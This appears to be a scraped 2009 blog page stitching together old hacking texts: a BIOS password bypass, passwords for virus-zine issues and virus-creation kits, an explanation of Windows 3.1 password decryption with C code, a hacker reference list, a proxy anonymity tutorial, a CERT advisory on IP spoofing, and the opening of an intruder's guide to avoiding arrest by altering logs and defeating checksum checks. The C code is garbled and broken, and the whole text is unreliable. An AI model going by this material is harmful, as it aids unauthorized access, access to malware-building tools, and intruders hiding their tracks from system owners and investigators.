codes. This appears to be dependent not just on the password attacker,
but also on the version of Ami BIOS.

To obtain Ami BIOS password attackers, ftp to oak.oakland.edu
/simtel/msdos/sysutil/.

If you cannot access the machine after if has been powered up, it is
still possible to get past the password. The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard. If you remove this
battery, all CMOS information will be lost. You will need to re-enter
the correct CMOS setup information to use the machine. The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove. If this is the case, you have another
alternative. Somewhere on the motherboard you should find a jumper that
will clear the BIOS password. If you have the motherboard
documentation, you will know where that jumper is. If not, the jumper
may be labeled on the motherboard. If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper. This jumper is usually standing alone near the
battery.

38. What is the password for ?

This FAQ answer was written by crypt

Magazine Password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party

Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak

39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.

If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same. For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then? A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice. At this point, you have decompiled source, but what
good is it?

Also note carefully my reference to source modules. One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded
source.

40. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie

The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this. There are many
reasons why knowing the actual password can be useful. Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password
and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.

First, the length of the password is saved. We'll call this 'len'. We
will be moving characters from the entered string into another string as
they are encrypted. We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.' The position in the plaintext is important during
the process so we'll refer to this as 'pos.' After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.' These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126. I'll refer to this
checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'. if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation. The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid. The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'. This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning. Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file
CONTROL.INI.

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for. Here is some C code that will do
the dirty work for you:

#include
#include
#include

int xor1(int i,int j)
{
int x;

x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x; f="fopen(s," i="strlen(s)-1;" l="i;l">-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l

Refferensi Hacking 1

2009-07-05T10:36:00.003-07:00

II. REFERENCE

A. Hacking and phreaking W.W.W. pages
B. Good hacking and phreaking text files
C. Hacking and phreaking Newsgroups
D. Rainbow Books
E. Hacking and phreaking magazines
F. Hacking and phreaking movies
G. Hacking and phreaking Gopher sites
H. Hacking and phreaking Ftp sites
I. Hacking and phreaking BBS's
J. Cool hackers and phreakers
K. Hacker's Manifesto
L. Happy hacking!

III. REFERENCE

A. Hacking and phreaking WWW. sites

Here is a list of some World Wide Web sites that contain hacking, phreaking, computer, virus, carding, security, etc. material:

Site Address:

http://www.outerlimits.net/lordsome/index.html (Hacker's Layer)
http://web2.airmail.net/km/hfiles/free.htm (Hacker's Hideout)
http://resudox.net/bio/novell.html
http://www.louisville.edu/wrbake01/hack2.html
http://www.intersurf.com/~materva/files.html
http://hightop.nrl.navy.mil/rainbow.html
http://www.rit.edu/~jmb8902/hacking.html
http://www.spatz.com/pecos/index.html
http://pages.prodigy.com/FL/dtgz94a/files2.html
http://www.2600.com (alt.2600)
http://att.net/dir800
http://draco.centerline.com:8080/~franl/crypto.html
http://everest.cs.ucdavis.edu/Security.html
http://ice-www.larc.nasa.gov/WWW/security.html
http://lOpht.com (lOpht)
http://lOpht.com/~oblivion/IIRG.html
http://underground.org
http://www.alw.nih.gov/WWW/security.html
http://www.aspentec.com/~frzmtdb/fun/hacker.html
http://www.cis.ohi-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html
http://www.cs.tufts.ed/~mcable/cypher/alerts/alerts.html
http://www.engin.umich.edu/~jgotts/underground/boxes.html
http://www.etext.org/Zines
http://www.inderect.com/www/johnk/
http://www.mgmua.com/hackers/index.html
http://www.paranoia.com/mthreat
http://www.paranoia.com/astrostar/fringe.html
http://www.umcc.umich.edu/~doug/virus-faq.html
http://www.wired.com

B. Good hacking and phreaking text files

All of these files are available by download from the Internet.

File Name:

A Novice's Guide To Hacking

Alt.2600 Hack Faq

The Hacker's Handbook

The Official Phreaker's Manual

Rainbow Books (Listed in Section D.)

The Hacker Crackdown

Computer Hackers: Rebels With A Cause

The Legion Of Doom Technical Journals

The Ultimate Beginner's Guide To Hacking And Phreaking (Of course!)

C. Hacking and phreaking Newsgroups

alt.2600
alt.2600.hope.tech
alt.cellular
alt.cellular-phone-tech
alt.comp.virus
alt.cracks
alt.cyberpunk
alt.cyberspace
alt.dcom.telecom
alt.fan.lewiz
alt.hackers
alt.hackintosh
alt.hackers.malicious
alt.security

D. Rainbow Books

The Rainbow Books are a series of government evaluations on various things related to computer system security. You can get all of the existing Rainbow Books free and if you ask to be put on their mailing list you will get each new one as it comes out. Just write to the address or call the number below:

Infosec Awareness Division
ATTN: x711/IAOC
Fort George G. Meade, MD 20755-6000

or call:
(410)766-8729

Here is the list of all the Rainbow Books and their descriptions:

Color: Description:

Orange 1 D.O.D. Trusted Computer Systems

Green D.O.D. Password Management

Yellow Computer Security Requirements

Yellow 2 Computer Security Requirements

Tan Understanding Audit In Trusted Systems

Bright Blue Trusted Product Evaluation

Neon Orange Understanding Discretionary Access

Teal Green Glossary Of Computer Terms

Orange 2 Understanding Configurations

Red Interpretation Of Evaluation

Burgundy Understanding Design Documentation

Dark Lavender Understanding Trusted Distrobution

Venice Blue Computer Security Sub-Systems

Aqua Understanding Security Modeling

Dark Red Interpretations Of Environments

Pink Rating Maintenence Phase

Purple Formal Verification Systems

Brown Understanding Trusted Facilities

Yellow-Green Writing Trusted Facility Manuals

Light Blue Understanding Identification And Authentication In Trusted Systems

Blue Product Evaluation Questionaire

Gray Selecting Access Control List

Lavander Data Base Management Interpretation

Yellow 3 Understanding Trusted Recovery

Bright Orange Understanding Security Testing

Purple 1 Guide To System Procurement

Purple 2 Guide To System Procurement

Purple 3 Guide To System Procurement

Purple 4 Guide To System Procurement

Green Understanding Data Remanence

Hot Peach Writing Security Features

Turquiose Understanding Information Security

Violet Controlled Access Protection

Light Pink Understanding Covert Channels

E. Cool hacking and phreaking magazines

Phrack Magazine

2600 Magazine

Tap Magazine

Phantasy Magazine

F. Hacking and phreaking movies

Movie:

Hackers

War Games

G. Hacking and phreaking Gopher sites

Address:

ba.com
csrc.ncsl.nist.gov
gopher.acm.org
gopher.cpsr.org
gopher.cs.uwm
gopher.eff.org
oss.net
spy.org
wiretap.spies.com

H. Hacking and phreaking Ftp sites

Address:

2600.com
agl.gatech.edu/pub
asylum.sf.ca.us
clark.net/pub/jcase
ftp.armory.com/pub/user/kmartind
ftp.armory.com/pub/user/swallow
ftp.fc.net/pub/defcon/BBEEP
ftp.fc.net/pub/phrack
ftp.giga.or.at/pub/hacker
ftp.lava.net/users/oracle
ftp.microserve.net/ppp-pop/strata/mac
ftp.near.net/security/archives/phrack
ftp.netcom.com/pub/br/bradelym
ftp.netcom.com/pub/daemon9
ftp.netcom.com/pub/zz/zzyzx
ftp.primenet.com/users/k/kludge

I. Hacking and phreaking BBS's

BBS's are Bulletin Board Systems on which hackers and phreakers can post messages to each other.
Here is a list of some BBS's that I know of. If you know of any other BBS's, please E-Mail me via the A.S.H. E-Mail address. Also, Please note that some of these may be old and not running.

Area Code: Phone Number: Name:

203 832-8441 Rune Stone
210 493-9975 The Truth Sayer's Domain
303 343-4053 Hacker's Haven
315 656-5135 Independent Nation
315 656-5135 UtOPiA 617 855-2923 Maas-Neotek
708 676-9855 Apocalypse 2000
713 579-2276 KOdE AbOdE
806 747-0802 Static Line
908 526-4384 Area 51
502 499-8933 Blitzkrieg
510 935-5845 ...Screaming Electron
408 747-0778 The Shrine
708 459-7267 The Hell Pit
415 345-2134 Castle Brass
415 697-1320 7 Gates Of Hell

J. Cool hackers and phreakers

Yes there are many, many, cool hackers and phreakers out there, but these are some that
helped me to get this file out on the Internet. I did not list a few people because I only
knew their real name, and I don't want to use their real name without their permission.

Handle:

Silicon Toad

Logik Bomb/Net Assasin

oleBuzzard

Lord Somer

Weezel

Thanks for your help guys.

K. Hacker's Manifesto

"This is our world now...the world of the electron and the switch, the beauty of the baud.
We make use of a service already existing without paying for what could be dirt cheep if it
wasn't run by profiteering gluttons, and you call us criminals. We explore...and you call us
criminals. We exist without skin color, without nationality, without religious bias...and you
call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to
make us believe it is for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by
what they say and think, not what they look like. My crime is that of outsmarting you, something
that you will never forgive me for. I am a hacker and this is my manifesto. You may stop this
individual, but you can't stop us all...after all, we're all alike."

+++The Mentor+++

K. Happy hacking!

Be careful and have fun. Remember to keep your eye out for the next volume of
The Ultimate Beginner's Guide To Hacking And Phreaking and the Legion Of the Apocalypse
W.W.W. page. Oh, and keep looking for our on-line magazine, too, it should be coming out
soon. Well, I hope you enjoyed the file and found it informative. I also hope that I
helped get you started in hacking and phreaking.

packet Hacking

2009-07-05T10:36:00.001-07:00

[----Stay anonymous on the web------]

Note..This tutorial will teach a average day user how to keep all his
Esentual info limited so attacks from Hackers cant be made

SHouth outs: Myth leader of MPD u rule dude,All members of MPD, and
everyone else who i should shout out too u know who u are.

The topics..
1.What are packets.
2.Getting a http proxy.
3.How http proxy work.
4.How to secrure http packets.
5.How to edit what o's and mozilla info send.
6.Getting a socket proxy.
7.How socket proxy work.
8.Cookies.
9.Final note.
-----------------------------------------------------------------------

1.What are packets.

Packets are very simple on the net There are millions of user's now for
secrurity and other reasons there must be ways of establishing difference
between user's Thus is done by packets, Packets are used when ever u connect
to a remote server/system Its identify's who is connecting.
An example of a http packet.( [Connect from MAx.mpd.com]
[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now ill tell u what it is saying if u dont know.
*Note*(Http packets is the way u are sending info through the web
browser whenever u connect to a server/mechine/site )
[connected from MAx.mpd.com]-This is my host
[206.14.13.32]- is my ip
(Mozilla/4.05)- is the version of mozilla im using
(X11;I;Linux 2.0.32 i586)- Is The O's(operating system) And version of
the o's im running
[On december 2, 1998 at 14:34:45] - is day/year/time
Now u know how it works this is one way Hackers get all the info they
need on your computer to hack it.
Now we dont want this anymore THus anonymous proxies where invented to
give keep user's on the net secrure.Using anonymous proxies isnt
100% secrure as the hacker can still do means on getting your real
ip/host/os ill talk about that later but it makes it very hard for a hacker
to get your ip/host once behind a proxy.
Now http isnt the only means of packets there are also socket packets which
ill talk about later.

2.How http proxy work.
A http proxy works like server it is actuelly and what it does is when
setup in your browser when ever u want to go to sites.It will connect
to there proxy server first then the proxy server conncts to the site
u want to go to THus leaving no evendence of u on the site just the
proxy server.(Dont worry once u setup a proxy dont think u always have
to type in the proxy in first then go to there and type the site u want
too go to. :)It dont work like that once u have entered the proxy settings
in ya browser it will auto do the proxy for u all u have to do is surf the
net.(Setting up a http proxy descussed later)

3. Getting a http proxy
Http proxies are very easyly found on the net as there are many
commited Http proxy server's around that are free.
Ill give a list of some http proxies for your all sorry if your
country proxy isn't here just search on the net for (Http proxy)
and ull find one.
***Austria*** Port

cache02.netway.at :80
mail.ppl.co.at :8080
speth08.wu-wien.ac.at :8080
pong.ping.at :8080

***Australia***
proxy.gwbbs.net.au :80
chrome.one.net.au :8080
proxy.newave.net.au :8080
ws.edi.com.au :80
mimas.scu.edu.au :80
proxy.omcs.com.au :8080
jethro.meriden.pas.com.au:8080
albany.jrc.net.au :80
basil.acr.net.au :8080

***Belgium***

cache-mar.belbone.be :80

***Bulgaria***

conan.gocis.bg :8080

***Brazil***

200.250.14.5)ct-nt-02.cybertelecom.com.br :8080
sanan.com.br :8080

***Canada***
proxy.collegemv.qc.ca :8080
srvprx.cspaysbleuets.qc.ca :80
valliere.csvalliere.qc.ca :80
keeper.albertc.on.ca :8080
cproxy1.justice.gc.ca :80
proxy.cslouis-hemon.qc.ca :8080
gateway.kwantlen.bc.ca :80

***Switzerland***

cache1.worldcom.ch :8080
cache2.worldcom.ch :8080
cache3.worldcom.ch :8080
web-cache-2.cern.ch :80
proxy.span.ch :8080
gip-lausanne-nc.globalip.ch :80
gip-lausanne-cf2.globalip.ch :8080
gip-lausanne-cf1.globalip.ch :8080
proxy2.iso.ch :8080
proxy.iprolink.ch :80

***China***

proxy.szptt.net.cn :8080

***United States***

hpux.mesd.k12.or.us :8080
gatekeeper.ci.slc.ut.us :8080
episd.elpaso.k12.tx.us :8080
svc.logan.k12.ut.us :8001
proxy.eup.k12.mi.us :8080
svc.nues.k12.ut.us :8001
proxy.eup.k12.mi.us :8080
(207.78.252.100)oakweb.oak-web.washington-ch.oh.us :80
homnibus.nvc.cc.ca.us :80
et.mohave.cc.az.us :80

(ok id say i gave out enough if ya local country not there go search
the net and if cant find use another country one that is close to u)

4.How to secrure Http packets
Like i said before this is a normal http packet
( [Connect from MAx.mpd.com]
[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now to Make your ip and host anonymous to web browsing we are going to
use http proxy with ya browser.THis is done by going to ya options
and finding the info on proxy settings in thus put in all
avalable places in proxy setting etc.ftp,http,secruity,
Except leave sockets part blank THis isnt a socket proxy its a http
Now after setting up a proxy in the proxy settings and putting in the
port too.Our new packets will look like this.
( [Connect from The_proxies_host]
[The_proxies_ip] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now u might be thinking cool :) No longer have everdence of me on there
server but dam they know my o's and version of mozilla later on ill
descuse how to change that.U might also be thinking WOW now i can surf
100% secure on the net.U are not totally right.IF a hacker had a real
grunge on u.He has now the proxy u are using there ip/host
now if he wants to get your info that badly he would have to hack
the proxy server comapare the log time of the time u loged to the hacker's
site too the logs of your connection to the proxy server.THus is a real
big job and if pick a good proxy server they will be very secure from
attack's So your pritty much safe.

5.How to edit the o's and mozilla info send.

Ok if your using Ie this is how u would do it.
To see Original Settings
GOTO HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
User Agent = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; (Your Orginial Settings))

(Skip this Part here)
GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
ProductName = Microsoft Windows 95
Version = Windows 95

GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
(Your Orignial Settings Here) = IEAK(Your Orignial Settings Here)

Example

GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
Myth [Unix-Base] = IEAKMyth [Unix-Base]

*Note (this info on how to change the mozilla and version shown was
given to me from Myth i didn't make it.)

6.Getting a socket proxy.

Ok now socket proxies work like Http proxies the only diff is
socket proxies are used with programs like (icq,mirc) And the packets
are send through sockets not http.Getting a socket proxy is alot harder
because Socket proxy server's have to be dedicated to a sertain program
so its very limiting to the amount of user's he will get.
Http is always used its using the web everyone uses it so http proxies
are always going to be in need.
TO find a socket proxy u can search the net typing in (Socket proxy)
or try for sertain program's names like (Icq proxy).
Hopefully u will get one
socket proxies are useful as alot of attacks on user's are done
by kids with nukes,spring,ping,smurf,etc etc And thus will anoy a user
in mirc or from icq both these programs give any user possability to
get a user's ip/host.
thats why if u use these u will want a socket proxy.
Alot of people go why dont u just use ident or jizz or something
for mirc and icq.Well the reason u don't as there are expolits out
there to crash spoofed hosts/ip for programs like jizz and ident
a proxy is more stable way and more prevention then a spoofer program.

mengidentifikasi IP address

2009-07-05T10:35:00.002-07:00

IP Spoofing Attacks and Hijacked Terminal Connections

2009-07-05T10:35:00.001-07:00

=============================================================================
CA-95:01 CERT Advisory
May 12, 2009
IP Spoofing Attacks and Hijacked Terminal Connections
-----------------------------------------------------------------------------

The CERT Coordination Center has received reports of attacks in which
intruders create packets with spoofed source IP addresses. These attacks
exploit applications that use authentication based on IP addresses. This
exploitation leads to user and possibly root access on the targeted system.
Note that this attack does not involve source routing. Recommended solutions
are described in Section III below.

In the current attack pattern, intruders may dynamically modify the kernel of
a Sun 4.1.X system once root access is attained. In this attack, which is
separate from the IP spoofing attack, intruders use a tool to take control of
any open terminal or login session from users on the system. Note that
although the tool is currently being used primarily on SunOS 4.1.x systems,
the system features that make this attack possible are not unique to SunOS.

As we receive additional information relating to this advisory, we will place
it, along with any clarifications, in a CA-95:01.README file. CERT advisories
and their associated README files are available by anonymous FTP from
info.cert.org. We encourage you to check the README files regularly for
updates on advisories that relate to your site.

-----------------------------------------------------------------------------

I. Description

This description summarizes both the IP spoofing technique that can
lead to root access on a system and the tool that intruders are using to
take over open terminal and login connections after they get root access.
We are currently seeing attacks in which intruders combine IP spoofing
with use of the tool. However, these are two separate actions. Intruders
can use IP spoofing to gain root access for any purpose; similarly, they
can highjack terminal connections regardless of their method of gaining
root access.

IP spoofing
To gain access, intruders create packets with spoofed source IP
addresses. This exploits applications that use authentication based on
IP addresses and leads to unauthorized user and possibly root access
on the targeted system. It is possible to route packets through
filtering-router firewalls if they are not configured to filter
incoming packets whose source address is in the local domain. It
is important to note that the described attack is possible even if
no reply packets can reach the attacker.

Examples of configurations that are potentially vulnerable include
- routers to external networks that support multiple internal
interfaces
- routers with two interfaces that support subnetting on the
internal network
- proxy firewalls where the proxy applications use the source
IP address for authentication

The IP spoofing attacks we are currently seeing are similar to those
described in two papers: 1) "Security Problems in the TCP/IP Protocol
Suite" by Steve Bellovin, published in _Computer Communication Review_
vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD
Unix TCP/IP Software" by Robert T. Morris. Both papers are available
by anonymous FTP from

ftp.research.att.com:/dist/internet_security

Bellovin paper: ipext.ps.Z
Morris paper: 117.ps.Z

Services that are vulnerable to the IP spoofing attack include
SunRPC & NFS
BSD UNIX "r" commands
anything wrapped by the tcp daemon wrappers - site dependent; check
your configuration
X windows
other applications that use source IP addresses for authentication

Hijacking tool
Once the intruders have root access on a system, they can use a tool
to dynamically modify the UNIX kernel. This modification allows them
to hijack existing terminal and login connections from any user on the
system.

In taking over the existing connections, intruders can bypass one-time
passwords and other strong authentication schemes by tapping the
connection after the authentication is complete. For example, a
legitimate user connects to a remote site through a login or terminal
session; the intruder hijacks the connection after the user has
completed the authentication to the remote location; the remote site
is now compromised. (See Section I for examples of vulnerable
configurations.)

Currently, the tool is used primarily on SunOS 4.1.x systems. However,
the system features that make this attack possible are not unique to
SunOS.

II. Impact

Current intruder activity in spoofing source IP addresses can lead to
unauthorized remote root access to systems behind a filtering-router
firewall.

After gaining root access and taking over existing terminal and login
connections, intruders can gain access to remote hosts.

III. Solutions

A. Detection

IP spoofing
If you monitor packets using network-monitoring software such as
netlog, look for a packet on your external interface that has
both its source and destination IP addresses in your local domain.
If you find one, you are currently under attack. Netlog is
available by anonymous FTP from
net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz
MD5 checksum: 1dd62e7e96192456e8c75047c38e994b

Another way to detect IP spoofing is to compare the process
accounting logs between systems on your internal network. If
the IP spoofing attack has succeeded on one of your systems,
you may get a log entry on the victim machine showing a remote
access; on the apparent source machine, there will be no
corresponding entry for initiating that remote access.

Hijacking tool
When the intruder attaches to an existing terminal or login
connection, users may detect unusual activity, such as commands
appearing on their terminal that they did not type or a blank window
that will no longer respond to their commands. Encourage your users
to inform you of any such activity. In addition, pay particular
attention to connections that have been idle for a long time.

Once the attack is completed, it is difficult to detect. However,
the intruders may leave remnants of their tools. For example, you
may find a kernel streams module designed to tap into existing TCP
connections.

B. Prevention

IP spoofing
The best method of preventing the IP spoofing problem is to install
a filtering router that restricts the input to your external
interface (known as an input filter) by not allowing a packet
through if it has a source address from your internal network. In
addition, you should filter outgoing packets that have a source
address different from your internal network in order to prevent
a source IP spoofing attack originating from your site.

The following vendors have reported support for this feature:
Bay Networks/Wellfleet routers, version 5 and later
Cabletron - LAN Secure
Cisco - RIS software all releases of version 9.21 and later
Livingston - all versions

If you need more information about your router or about firewalls,
please contact your vendor directly.

If your vendor's router does not support filtering on the inbound
side of the interface or if there will be a delay in incorporating
the feature into your system, you may filter the spoofed IP packets
by using a second router between your external interface and your
outside connection. Configure this router to block, on the outgoing
interface connected to your original router, all packets that have a
source address in your internal network. For this purpose, you can
use a filtering router or a UNIX system with two interfaces that
supports packet filtering.

NOTE: Disabling source routing at the router does not protect you
from this attack, but it is still good security practice to
do so.

Hijacking tool
There is no specific way to prevent use of the tool other than
preventing intruders from gaining root access in the first place.
If you have experienced a root compromise, see Section C for general
instructions on how to recover.

C. Recovery from a UNIX root compromise

1. Disconnect from the network or operate the system in
single-user mode during the recovery. This will keep users
and intruders from accessing the system.

2. Verify system binaries and configuration files against the
vendor's media (do not rely on timestamp information to
provide an indication of modification). Do not trust any
verification tool such as cmp(1) located on the compromised
system as it, too, may have been modified by the intruder.
In addition, do not trust the results of the standard UNIX
sum(1) program as we have seen intruders modify system
files in such a way that the checksums remain the same.
Replace any modified files from the vendor's media, not
from backups.
-- or --

Reload your system from the vendor's media.

3. Search the system for new or modified setuid root files.

find / -user root -perm -4000 -print

If you are using NFS or AFS file systems, use ncheck to
search the local file systems.

ncheck -s /dev/sd0a

4. Change the password on all accounts.

5. Don't trust your backups for reloading any file used by
root. You do not want to re-introduce files altered by an
intruder.

---------------------------------------------------------------------------
The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith Bostic,
Bill Cheswick, Mike Karels, and Tsutomu Shimomura for contributing to our
understanding of these problems and their solutions.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).

If you wish to send sensitive incident or vulnerability information to
CERT staff by electronic mail, we strongly advise that the e-mail be
encrypted. The CERT Coordination Center can support a shared DES key, PGP
(public key available via anonymous FTP on info.cert.org), or PEM (contact
CERT staff for details).

Internet E-mail: cert@cert.org
Telephone: +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
and are on call for emergencies during other hours.
Fax: +1 412-268-6989

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
USA

Past advisories, CERT bulletins, information about FIRST representatives,
and other information related to computer security are available for anonymous
FTP from info.cert.org.

CERT is a service mark of Carnegie Mellon University.

Introduction

2009-07-05T10:34:00.002-07:00

I.INTRODUCTION
II.MENTAL
III.BASICS
IV.ADVANCED
V.UNDER SUSPECT
VI.CAUGHT
VII.PROGRAMS
VIII.LAST WORDS

I. INTRODUCTION

Please excuse my poor english - I'm german so it's not my mother language
I'm writing in. Anyway if your english is far better than mine, then don't
think this text hasn't got anything to offer you. In contrast. Ignore the
spelling errors & syntax - the contents of this document is important ...

NOTE : This text is splitted into TWO parts.
The first one, this, teaches about the background and theory.
The second just shows the basics by an easy step-by-step
procedure what to type and what to avoid.
If you are too lazy to read this whole stuff here (sucker!)
then read that one. It's main targets are novice unix hackers.

If you think, getting the newest exploits fast is the most important thing
you must think about and keep your eyes on - you are wrong. How does the
best exploit helps you once the police has seized your computer, all your
accounts closed and everything monitored? Not to mention the warrants etc.
No, the most important thing is not to get caught. It is the FIRST thing
every hacker should learn, because on many occasions, especially if you
make your first hacks at a site which is security conscious because of
many break-ins, your first hack can be your last one (even if all that
lays back a year ago "they" may come up with that!), or you are too lazy
to change your habits later in your career. So read through these sections
carefully! Even a very skilled hacker can learn a bit or byte here.

So this is what you find here:

Section I - you are reading me, the introduction
Section II - the mental things and how to become paranoid

1. Motivation
2. Why you must become paranoid
3. How to become paranoid
4. Stay paranoid

Section III - the basics you should know BEFORE begin hacking

1. Preface
2. Secure Yourself
3. Your own account
4. The logs
5. Don't leave a trace
6. Things you should avoid

Section IV - the advanced techniques you should take a notice of

1. Preface
2. Prevent Tracing of any kind
3. Find and manipulate any log files
4. Check the syslog configuration and logfile
5. Check for installed security programs
6. Check the admins
7. How to "correct" checksum checking software
8. User Security Tricks
9. Miscellaneous

Section V - what to do once you are under suspect
Section VI - the does and dont's when you got caught
Section VII - a short listing of the best programs for hiding
Section VIII - last words, the common bullshit writers wanna say

Read carefully and enlighten yourself.

II. MENTAL

CONTENTS:

1. Motivation
2. Why you must become paranoid
3. How to become paranoid
4. Stay paranoid

1. MOTIVATION

The mental aspect is the key to be successful in anything.

It's the power to motivate yourself, fight on if it hurts, being self
disciplined, paranoid & realistic, calculate risks correctly and do stuff
you don't like but are important even if you'd like to go swimming now.

If you can't motivate yourself to program important tools, wait for the
crucial time to hit the target, then you'll never get anywhere with your
"hacks"

A successful and good hacker must meet these mental requirements. It's like
doing bodybuilding or a diet - you can learn it if you really try.

EVEN THE BEST KNOWLEDGE WON'T HELP YOU UNTIL YOU ARE REALLY CONCERNED TO DO
THE PREVENTIONS AND ACTUAL MAKE THEM !

2. WHY YOU MUST BECOME PARANOID

It's right that normally being paranoid is not something which makes your
life happier. However if you aren't expecting the worst, anything can hit
you and throw you off balance. And you are risking very much with your
doings. In your normal life you don't need to worry much about cops,
thieves and therelike. But if you are on the other side remember that you
make other people a hard life and bring them nightmares plus work - and
they want to stop you.

Even if you don't feel like committing a crime - you actually do. Hacker-
Witchhunting pops up fast and gets everyone who might be involved. It's the
sad thing : YOU ARE GUILTY UNTIL PROVEN OTHERWISE ! Once you've got the
stigma being a hacker you'll never get it off. Once having an entry in your
police record it's very hard to find a job. Especially no software company,
even no computer related company will ever hire you, they will be afraid
of your skills, and you will see yourself being forced to emmigrate or your
life lost. Once you fall down only a few can get up again.

Become paranoid!
Protect yourself!
Remember you have got everything to loose!
Never feel silly doing THAT extraordinary action against tracing!
Never bother if someone laughs on your paranoid doing!
Never be too lazy or tired to modify the logs!
A hacker must do his work 100% !

3. HOW TO BECOME PARANOID

If you've read the part above and you think thats true, it's easy - you've
got already become paranoid. But it must become a substantial part of your
life. If you made it becoming a good hacker always think about whom to tell
what, and that you phone calls and emails might be monitored. Always reread
the section above.

If the above didn't helped you, then think about what happens if you are
caught. Would your girlfriend stay at your side? Even if her father speaks
a hard word? Do you want to see your parents cry? Thrown from your
